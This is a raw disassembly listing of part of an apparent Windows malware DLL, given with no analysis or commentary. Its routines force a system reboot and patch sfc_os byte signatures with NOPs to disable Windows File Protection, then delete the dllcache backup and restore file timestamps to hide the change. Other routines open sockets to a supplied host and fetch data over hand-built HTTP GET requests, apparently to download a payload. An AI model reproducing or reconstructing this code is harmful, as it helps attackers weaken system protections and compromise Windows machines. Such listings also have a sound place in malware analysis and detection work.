		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		jmp	short loc_100056BE
; ---------------------------------------------------------------------------


loc_100056FD:				; CODE XREF: sub_100055F0+E1j
		lea	ecx, [ebp+Dest]
		push	ecx		; Str
		call	sub_10002881
		add	esp, 4
		mov	byte ptr [ebp+var_24], al
		mov	edx, [ebp+var_24]
		and	edx, 0FFh
		mov	eax, [ebp+lpBuffer]
		add	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	edx, ecx
		jnz	short loc_1000572E
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		jmp	short loc_10005737
; ---------------------------------------------------------------------------


loc_1000572E:				; CODE XREF: sub_100055F0+131j
		mov	[ebp+var_18], 1
		jmp	short loc_10005743
; ---------------------------------------------------------------------------


loc_10005737:				; CODE XREF: sub_100055F0+13Cj
		mov	[ebp+var_18], 0
		jmp	loc_1000568A
; ---------------------------------------------------------------------------


loc_10005743:				; CODE XREF: sub_100055F0+B2j
					; sub_100055F0+145j
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	[ebp+var_14], eax
		jb	short loc_1000575D
		mov	[ebp+var_18], 1
		jmp	short loc_10005772
; ---------------------------------------------------------------------------


loc_1000575D:				; CODE XREF: sub_100055F0+162j
		mov	[ebp+var_18], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	loc_10005675
; ---------------------------------------------------------------------------


loc_10005772:				; CODE XREF: sub_100055F0+8Bj
					; sub_100055F0+16Bj
		cmp	[ebp+var_18], 0
		jz	short loc_1000578F
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		shr	eax, 1
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	eax, ecx
		jmp	short loc_10005797
; ---------------------------------------------------------------------------


loc_1000578F:				; CODE XREF: sub_100055F0+186j
		or	eax, 0FFFFFFFFh
		jmp	short loc_10005797
; ---------------------------------------------------------------------------


loc_10005794:				; CODE XREF: sub_100055F0+3Ej
		or	eax, 0FFFFFFFFh


loc_10005797:				; CODE XREF: sub_100055F0+19Dj
					; sub_100055F0+1A2j
		mov	esp, ebp
		pop	ebp
		retn
sub_100055F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000579B	proc near		; CODE XREF: sub_1000A318+9E6p
					; sub_1000A318+A0Bp

TokenHandle	= dword	ptr -14h
NewState	= _TOKEN_PRIVILEGES ptr	-10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+TokenHandle]
		push	eax		; TokenHandle
		push	20h		; DesiredAccess
		call	ds:GetCurrentProcess	; GetCurrentProcess
		push	eax		; ProcessHandle
		call	ds:OpenProcessToken	; OpenProcessToken
		lea	ecx, [ebp+NewState.Privileges]
		push	ecx		; lpLuid
		push	offset Name	; "SeShutdownPrivilege"
		push	0		; lpSystemName
		call	ds:LookupPrivilegeValueA	; LookupPrivilegeValueA
		mov	[ebp+NewState.PrivilegeCount], 1
		mov	[ebp+NewState.Privileges.Attributes], 2
		push	0		; ReturnLength
		push	0		; PreviousState
		push	0		; BufferLength
		lea	edx, [ebp+NewState]
		push	edx		; NewState
		push	0		; DisableAllPrivileges
		mov	eax, [ebp+TokenHandle]
		push	eax		; TokenHandle
		call	ds:AdjustTokenPrivileges	; AdjustTokenPrivileges
		push	0		; dwReason
		push	2		; uFlags
		call	ds:ExitWindowsEx	; ExitWindowsEx
		mov	esp, ebp
		pop	ebp
		retn
sub_1000579B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 344h
		push	edi
		mov	dword ptr [ebp-238h], 0
		mov	dword ptr [ebp-33Ch], 0
		push	0
		call	ds:time	; time
		add	esp, 4
		push	eax
		call	ds:srand	; srand
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_1000559C
		add	esp, 4
		push	0FFh
		lea	ecx, [ebp-234h]
		push	ecx
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		mov	edx, [ebp+8]
		push	edx
		lea	eax, [ebp-234h]
		push	eax
		push	offset aSS_1	; "%s\\%s"
		lea	ecx, [ebp-338h]
		push	ecx
		call	ds:sprintf	; sprintf
		add	esp, 10h
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		lea	edx, [ebp-338h]
		push	edx
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp-34h], eax
		push	0
		mov	eax, [ebp-34h]
		push	eax
		call	ds:GetFileSize	; GetFileSize
		mov	[ebp-340h], eax
		mov	ecx, [ebp-340h]
		push	ecx
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp-0Ch], eax
		push	0
		lea	edx, [ebp-30h]
		push	edx
		mov	eax, [ebp-340h]
		push	eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		mov	edx, [ebp-34h]
		push	edx
		call	ds:ReadFile	; ReadFile
		lea	eax, [ebp-8]
		push	eax
		push	0
		push	0
		mov	ecx, [ebp-34h]
		push	ecx
		call	ds:GetFileTime	; GetFileTime
		mov	edx, [ebp-34h]
		push	edx
		call	ds:CloseHandle	; CloseHandle
		mov	eax, [ebp-340h]
		mov	[ebp-344h], eax
		cmp	dword ptr [ebp-344h], 20600h
		jz	short loc_1000595B
		cmp	dword ptr [ebp-344h], 20800h
		jz	short loc_1000595B
		cmp	dword ptr [ebp-344h], 22400h
		jz	short loc_10005915
		jmp	short loc_10005994
; ---------------------------------------------------------------------------


loc_10005915:				; CODE XREF: .text:10005911j
		push	offset a83f89d33c040a3 ; "83f89d****33c040a3"
		lea	ecx, [ebp-338h]
		push	ecx
		call	sub_100055F0
		add	esp, 8
		mov	[ebp-33Ch], eax
		mov	edx, [ebp-0Ch]
		add	edx, [ebp-33Ch]
		mov	byte ptr [edx+5], 90h
		mov	eax, [ebp-0Ch]
		add	eax, [ebp-33Ch]
		mov	byte ptr [eax+6], 90h
		mov	ecx, [ebp-0Ch]
		add	ecx, [ebp-33Ch]
		mov	byte ptr [ecx+7], 90h
		jmp	loc_10005AD5
; ---------------------------------------------------------------------------


loc_1000595B:				; CODE XREF: .text:100058F9j
					; .text:10005905j
		push	offset a83f89d8bc6a3 ; "83f89d****8bc6a3"
		lea	edx, [ebp-338h]
		push	edx
		call	sub_100055F0
		add	esp, 8
		mov	[ebp-33Ch], eax
		mov	eax, [ebp-0Ch]
		add	eax, [ebp-33Ch]
		mov	byte ptr [eax+5], 90h
		mov	ecx, [ebp-0Ch]
		add	ecx, [ebp-33Ch]
		mov	byte ptr [ecx+6], 90h
		jmp	loc_10005AD5
; ---------------------------------------------------------------------------


loc_10005994:				; CODE XREF: .text:10005913j
		push	offset aSfc_os_	; "sfc_os."
		lea	edx, [ebp-338h]
		push	edx
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_10005A3F
		push	offset a83f89d33c040_0 ; "83f89d****33c040a3"
		lea	eax, [ebp-338h]
		push	eax
		call	sub_100055F0
		add	esp, 8
		mov	[ebp-33Ch], eax
		cmp	dword ptr [ebp-33Ch], 0FFFFFFFFh
		jz	short loc_100059FD
		mov	ecx, [ebp-0Ch]
		add	ecx, [ebp-33Ch]
		mov	byte ptr [ecx+5], 90h
		mov	edx, [ebp-0Ch]
		add	edx, [ebp-33Ch]
		mov	byte ptr [edx+6], 90h
		mov	eax, [ebp-0Ch]
		add	eax, [ebp-33Ch]
		mov	byte ptr [eax+7], 90h
		jmp	short loc_10005A3A
; ---------------------------------------------------------------------------


loc_100059FD:				; CODE XREF: .text:100059D2j
		push	offset a83f89d8bc6a3_0 ; "83f89d****8bc6a3"
		lea	ecx, [ebp-338h]
		push	ecx
		call	sub_100055F0
		add	esp, 8
		mov	[ebp-33Ch], eax
		cmp	dword ptr [ebp-33Ch], 0FFFFFFFFh
		jz	short loc_10005A3A
		mov	edx, [ebp-0Ch]
		add	edx, [ebp-33Ch]
		mov	byte ptr [edx+5], 90h
		mov	eax, [ebp-0Ch]
		add	eax, [ebp-33Ch]
		mov	byte ptr [eax+6], 90h


loc_10005A3A:				; CODE XREF: .text:100059FBj
					; .text:10005A1Ej
		jmp	loc_10005AD5
; ---------------------------------------------------------------------------


loc_10005A3F:				; CODE XREF: .text:100059ABj
		push	offset a838dFfff20 ; "838d****ffff20"
		lea	ecx, [ebp-338h]
		push	ecx
		call	sub_100055F0
		add	esp, 8
		mov	[ebp-33Ch], eax
		cmp	dword ptr [ebp-33Ch], 0FFFFFFFFh
		jz	short loc_10005A8B
		mov	edx, [ebp-0Ch]
		add	edx, [ebp-33Ch]
		mov	byte ptr [edx-2], 90h
		mov	eax, [ebp-0Ch]
		add	eax, [ebp-33Ch]
		mov	byte ptr [eax-1], 90h
		mov	ecx, [ebp-0Ch]
		add	ecx, [ebp-33Ch]
		mov	byte ptr [ecx+6], 1
		jmp	short loc_10005AD5
; ---------------------------------------------------------------------------


loc_10005A8B:				; CODE XREF: .text:10005A60j
		push	offset a834d20	; "834D**20"
		lea	edx, [ebp-338h]
		push	edx
		call	sub_100055F0
		add	esp, 8
		mov	[ebp-33Ch], eax
		cmp	dword ptr [ebp-33Ch], 0FFFFFFFFh
		jz	short loc_10005AD5
		mov	eax, [ebp-0Ch]
		add	eax, [ebp-33Ch]
		mov	byte ptr [eax-2], 90h
		mov	ecx, [ebp-0Ch]
		add	ecx, [ebp-33Ch]
		mov	byte ptr [ecx-1], 90h
		mov	edx, [ebp-0Ch]
		add	edx, [ebp-33Ch]
		mov	byte ptr [edx+3], 1


loc_10005AD5:				; CODE XREF: .text:10005956j
					; .text:1000598Fj ...
		mov	eax, [ebp+8]
		push	eax
		lea	ecx, [ebp-234h]
		push	ecx
		push	offset aSDllcacheS ; "%s\\dllcache\\%s"
		lea	edx, [ebp-134h]
		push	edx
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	eax, [ebp-134h]
		push	eax
		call	ds:DeleteFileA	; DeleteFileA
		mov	byte ptr [ebp-2Ch], 0
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [ebp-2Bh]
		rep stosd
		stosw
		stosb
		push	7
		mov	ecx, off_10022114
		push	ecx
		lea	edx, [ebp-2Ch]
		push	edx
		call	sub_1000274A
		add	esp, 0Ch
		push	offset a_tmp	; ".tmp"
		lea	eax, [ebp-2Ch]
		push	eax
		call	strcat	; strcat
		add	esp, 8
		lea	ecx, [ebp-2Ch]
		push	ecx
		lea	edx, [ebp-234h]
		push	edx
		push	offset aSS_2	; "%s\\%s"
		lea	eax, [ebp-134h]
		push	eax
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	ecx, [ebp-134h]
		push	ecx
		lea	edx, [ebp-338h]
		push	edx
		call	ds:MoveFileA	; MoveFileA
		push	0
		push	80h
		push	2
		push	0
		push	2
		push	40000000h
		lea	eax, [ebp-338h]
		push	eax
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp-34h], eax
		push	0
		lea	ecx, [ebp-30h]
		push	ecx
		mov	edx, [ebp-340h]
		push	edx
		mov	eax, [ebp-0Ch]
		push	eax
		mov	ecx, [ebp-34h]
		push	ecx
		call	ds:WriteFile	; WriteFile
		lea	edx, [ebp-8]
		push	edx
		lea	eax, [ebp-8]
		push	eax
		lea	ecx, [ebp-8]
		push	ecx
		mov	edx, [ebp-34h]
		push	edx
		call	ds:SetFileTime	; SetFileTime
		mov	eax, [ebp-34h]
		push	eax
		call	ds:CloseHandle	; CloseHandle
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	ds:free	; free
		add	esp, 4
		mov	eax, 1
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10005BE3(LPCSTR lpString2)

sub_10005BE3	proc near		; CODE XREF: sub_1000B7EF+159p
					; sub_10016C4C+1D7p

var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
s		= dword	ptr -30Ch
hostshort	= word ptr -308h
name		= byte ptr -304h
var_303		= byte ptr -303h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
type		= dword	ptr -1C0h
WSAData		= WSAData ptr -1BCh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
Dst		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
lpString2	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10005BE3
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 304h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+hostshort], 50h
		mov	[ebp+type], 1
		mov	[ebp+s], 0
		mov	[ebp+name], 0
		mov	ecx, 0Fh
		xor	eax, eax
		lea	edi, [ebp+var_303]
		rep stosd
		stosw
		stosb
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		lea	ecx, [ebp+name]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	2Fh		; Val
		lea	edx, [ebp+name]
		push	edx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_10005C7A
		push	2Fh		; Val
		lea	eax, [ebp+name]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	0


loc_10005C7A:				; CODE XREF: sub_10005BE3+80j
		lea	ecx, [ebp+WSAData]
		push	ecx		; lpWSAData
		push	202h		; wVersionRequested
		call	ds:WSAStartup	; WSAStartup
		mov	[ebp+var_2C4], 0
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 989680h
		mov	[ebp+var_4], 0
		lea	edx, [ebp+name]
		push	edx		; name
		call	ds:gethostbyname	; gethostbyname
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jnz	short loc_10005CCD
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10005E3D
; ---------------------------------------------------------------------------


loc_10005CCD:				; CODE XREF: sub_10005BE3+DCj
		push	10h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+var_24]
		movsx	edx, word ptr [ecx+0Ah]
		push	edx		; Size
		mov	eax, [ebp+var_24]
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		push	edx		; Src
		lea	eax, [ebp+var_1C]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_24]
		mov	dx, [ecx+8]
		mov	[ebp+Dst], dx
		mov	ax, [ebp+hostshort]
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	[ebp+var_1E], ax
		push	0		; protocol
		mov	ecx, [ebp+type]
		push	ecx		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0
		jnb	short loc_10005D43
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10005E3D
; ---------------------------------------------------------------------------


loc_10005D43:				; CODE XREF: sub_10005BE3+152j
					; sub_10005BE3+1DFj
		mov	[ebp+var_310], 0
		jmp	short loc_10005D5E
; ---------------------------------------------------------------------------


loc_10005D4F:				; CODE XREF: sub_10005BE3:loc_10005D83j
		mov	edx, [ebp+var_310]
		add	edx, 1
		mov	[ebp+var_310], edx


loc_10005D5E:				; CODE XREF: sub_10005BE3+16Aj
		mov	eax, [ebp+var_310]
		cmp	eax, [ebp+var_2C4]
		jnb	short loc_10005D85
		mov	ecx, [ebp+var_310]
		mov	edx, [ebp+ecx*4+var_2C0]
		cmp	edx, [ebp+s]
		jnz	short loc_10005D83
		jmp	short loc_10005D85
; ---------------------------------------------------------------------------


loc_10005D83:				; CODE XREF: sub_10005BE3+19Cj
		jmp	short loc_10005D4F
; ---------------------------------------------------------------------------


loc_10005D85:				; CODE XREF: sub_10005BE3+187j
					; sub_10005BE3+19Ej
		mov	eax, [ebp+var_310]
		cmp	eax, [ebp+var_2C4]
		jnz	short loc_10005DBE
		cmp	[ebp+var_2C4], 40h
		jnb	short loc_10005DBE
		mov	ecx, [ebp+var_310]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+var_2C0], edx
		mov	eax, [ebp+var_2C4]
		add	eax, 1
		mov	[ebp+var_2C4], eax


loc_10005DBE:				; CODE XREF: sub_10005BE3+1AEj
					; sub_10005BE3+1B7j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_10005D43
		push	10h		; namelen
		lea	edx, [ebp+Dst]
		push	edx		; name
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:connect	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10005DE9
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_10005E3D
; ---------------------------------------------------------------------------


loc_10005DE9:				; CODE XREF: sub_10005BE3+1FBj
		jmp	short loc_10005E19
; ---------------------------------------------------------------------------


loc_10005DEB:				; DATA XREF: .rdata:stru_1001FD98o
		cmp	[ebp+s], 0
		jz	short loc_10005E01
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket


loc_10005E01:				; CODE XREF: sub_10005BE3+20Fj
		mov	[ebp+var_314], 0
		mov	eax, offset loc_10005E11
		retn
; ---------------------------------------------------------------------------


loc_10005E11:				; DATA XREF: sub_10005BE3+228o
		mov	eax, [ebp+var_314]
		jmp	short loc_10005E55
; ---------------------------------------------------------------------------


loc_10005E19:				; CODE XREF: sub_10005BE3:loc_10005DE9j
		mov	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+s], 0
		jz	short loc_10005E36
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket


loc_10005E36:				; CODE XREF: sub_10005BE3+244j
		mov	eax, 1
		jmp	short loc_10005E55
; ---------------------------------------------------------------------------


loc_10005E3D:				; CODE XREF: sub_10005BE3+E5j
					; sub_10005BE3+15Bj ...
		cmp	[ebp+s], 0
		jz	short loc_10005E53
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket


loc_10005E53:				; CODE XREF: sub_10005BE3+261j
		xor	eax, eax


loc_10005E55:				; CODE XREF: sub_10005BE3+234j
					; sub_10005BE3+258j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10005BE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10005E66(LPCSTR lpString2, LPCVOID lpBuffer, LPCSTR lpFileName, char *Source,	int)

sub_10005E66	proc near		; CODE XREF: sub_1000A318+5C9p
					; sub_10010623+1EEp ...

var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
s		= dword	ptr -300h
hostshort	= word ptr -2FCh
name		= dword	ptr -2F8h
Size		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
Str		= dword	ptr -2ECh
readfds		= fd_set ptr -2E8h
type		= dword	ptr -1E4h
WSAData		= WSAData ptr -1E0h
var_50		= dword	ptr -50h
timeout		= timeval ptr -4Ch
nNumberOfBytesToWrite= dword ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
hObject		= dword	ptr -38h
NumberOfBytesWritten= dword ptr	-34h
lpString1	= dword	ptr -30h
Src		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Memory		= dword	ptr -24h
Dst		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
lpString2	= dword	ptr  8
lpBuffer	= dword	ptr  0Ch
lpFileName	= dword	ptr  10h
Source		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10005E66
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 2F8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+hostshort], 50h
		mov	[ebp+Size], 0
		mov	[ebp+nNumberOfBytesToWrite], 0
		mov	[ebp+var_40], 0
		mov	[ebp+var_50], 0
		mov	[ebp+s], 0
		mov	[ebp+var_2F0], 0
		mov	eax, [ebp+lpString2]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 0FFh
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+name], eax
		mov	ecx, [ebp+lpString2]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 0FFh
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		mov	edx, [ebp+lpString2]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 400h
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Memory], eax
		push	2800h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Str], eax
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		mov	ecx, [ebp+name]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	2Fh		; Val
		mov	edx, [ebp+name]
		push	edx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_10005F8B
		push	2Fh		; Val
		mov	eax, [ebp+name]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		push	eax		; lpString2
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	2Fh		; Val
		mov	edx, [ebp+name]
		push	edx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	0


loc_10005F8B:				; CODE XREF: sub_10005E66+F1j
		lea	eax, [ebp+WSAData]
		push	eax		; lpWSAData
		push	202h		; wVersionRequested
		call	ds:WSAStartup	; WSAStartup
		mov	[ebp+type], 1
		mov	[ebp+readfds.fd_count],	0
		mov	[ebp+timeout.tv_sec], 0
		mov	[ebp+timeout.tv_usec], 989680h
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+name]
		push	ecx		; name
		call	ds:gethostbyname	; gethostbyname
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0
		jnz	short loc_10005FE8
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006501
; ---------------------------------------------------------------------------


loc_10005FE8:				; CODE XREF: sub_10005E66+174j
		push	10h		; Size
		push	0		; Val
		lea	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_3C]
		movsx	ecx, word ptr [eax+0Ah]
		push	ecx		; Size
		mov	edx, [ebp+var_3C]
		mov	eax, [edx+0Ch]
		mov	ecx, [eax]
		push	ecx		; Src
		lea	edx, [ebp+var_1C]
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_3C]
		mov	cx, [eax+8]
		mov	[ebp+Dst], cx
		mov	dx, [ebp+hostshort]
		push	edx		; hostshort
		call	ds:htons	; htons
		mov	[ebp+var_1E], ax
		push	0		; protocol
		mov	eax, [ebp+type]
		push	eax		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0
		jnb	short loc_1000605E
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006501
; ---------------------------------------------------------------------------


loc_1000605E:				; CODE XREF: sub_10005E66+1EAj
		push	10h		; namelen
		lea	ecx, [ebp+Dst]
		push	ecx		; name
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:connect	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10006082
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006501
; ---------------------------------------------------------------------------


loc_10006082:				; CODE XREF: sub_10005E66+20Ej
		mov	eax, [ebp+name]
		push	eax
		mov	ecx, [ebp+lpString1]
		push	ecx
		push	offset aGetSHttp1_0Acc ; "GET %s HTTP/1.0\r\nAccept: */*\r\nHost: %s\r"...
		mov	edx, [ebp+Memory]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		cmp	[ebp+Source], 0
		jz	short loc_100060B5
		mov	eax, [ebp+Source]
		push	eax		; Source
		mov	ecx, [ebp+Memory]
		push	ecx		; Dest
		call	strcat	; strcat
		add	esp, 8


loc_100060B5:				; CODE XREF: sub_10005E66+23Dj
		push	offset asc_10022A60 ; "\r\n"
		mov	edx, [ebp+Memory]
		push	edx		; Dest
		call	strcat	; strcat
		add	esp, 8
		push	0		; flags
		mov	eax, [ebp+Memory]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		mov	ecx, [ebp+Memory]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		mov	[ebp+Size], eax
		cmp	[ebp+Size], 0FFFFFFFFh
		jz	short loc_100060FE
		cmp	[ebp+Size], 0
		jnz	short loc_1000610A


loc_100060FE:				; CODE XREF: sub_10005E66+28Dj
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006501
; ---------------------------------------------------------------------------


loc_1000610A:				; CODE XREF: sub_10005E66+296j
					; sub_10005E66+323j
		mov	[ebp+var_304], 0
		jmp	short loc_10006125
; ---------------------------------------------------------------------------


loc_10006116:				; CODE XREF: sub_10005E66:loc_1000614Aj
		mov	eax, [ebp+var_304]
		add	eax, 1
		mov	[ebp+var_304], eax


loc_10006125:				; CODE XREF: sub_10005E66+2AEj
		mov	ecx, [ebp+var_304]
		cmp	ecx, [ebp+readfds.fd_count]
		jnb	short loc_1000614C
		mov	edx, [ebp+var_304]
		mov	eax, [ebp+edx*4+readfds.fd_array]
		cmp	eax, [ebp+s]
		jnz	short loc_1000614A
		jmp	short loc_1000614C
; ---------------------------------------------------------------------------


loc_1000614A:				; CODE XREF: sub_10005E66+2E0j
		jmp	short loc_10006116
; ---------------------------------------------------------------------------


loc_1000614C:				; CODE XREF: sub_10005E66+2CBj
					; sub_10005E66+2E2j
		mov	ecx, [ebp+var_304]
		cmp	ecx, [ebp+readfds.fd_count]
		jnz	short loc_10006185
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10006185
		mov	edx, [ebp+var_304]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+readfds.fd_array], eax
		mov	ecx, [ebp+readfds.fd_count]
		add	ecx, 1
		mov	[ebp+readfds.fd_count],	ecx


loc_10006185:				; CODE XREF: sub_10005E66+2F2j
					; sub_10005E66+2FBj
		xor	edx, edx
		test	edx, edx
		jnz	loc_1000610A
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		push	0		; nfds
		call	ds:select	; select
		test	eax, eax
		jz	loc_10006417
		push	2800h		; Size
		push	0		; Val
		mov	edx, [ebp+Str]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; flags
		push	2800h		; len
		mov	eax, [ebp+Str]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+Size], eax


loc_100061E5:				; CODE XREF: sub_10005E66:loc_10006385j
		cmp	[ebp+Size], 0
		jz	loc_1000638A
		cmp	[ebp+Size], 0FFFFFFFFh
		jnz	short loc_10006207
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006501
; ---------------------------------------------------------------------------


loc_10006207:				; CODE XREF: sub_10005E66+393j
		push	offset aHttp1_1200Ok ; "HTTP/1.1 200 OK"
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_100062FE
		push	offset asc_10022A74 ; "\r\n\r\n"
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		add	eax, 4
		mov	[ebp+Src], eax
		push	offset aContentLength ;	"Content-Length: "
		mov	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jbe	short loc_1000628D
		mov	edx, [ebp+var_28]
		add	edx, 10h
		mov	[ebp+var_28], edx
		push	offset asc_10022A90 ; "\r\n"
		mov	eax, [ebp+var_28]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_28]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+nNumberOfBytesToWrite], eax
		jmp	short loc_1000629E
; ---------------------------------------------------------------------------


loc_1000628D:				; CODE XREF: sub_10005E66+3F5j
		mov	[ebp+nNumberOfBytesToWrite], 186A0h
		mov	[ebp+var_2F0], 1


loc_1000629E:				; CODE XREF: sub_10005E66+425j
		mov	edx, [ebp+nNumberOfBytesToWrite]
		add	edx, 1
		push	edx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpBuffer],	eax
		mov	eax, [ebp+nNumberOfBytesToWrite]
		add	eax, 1
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+lpBuffer]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	edx, [ebp+Src]
		sub	edx, [ebp+Str]
		mov	eax, [ebp+Size]
		sub	eax, edx
		push	eax		; Size
		mov	ecx, [ebp+Src]
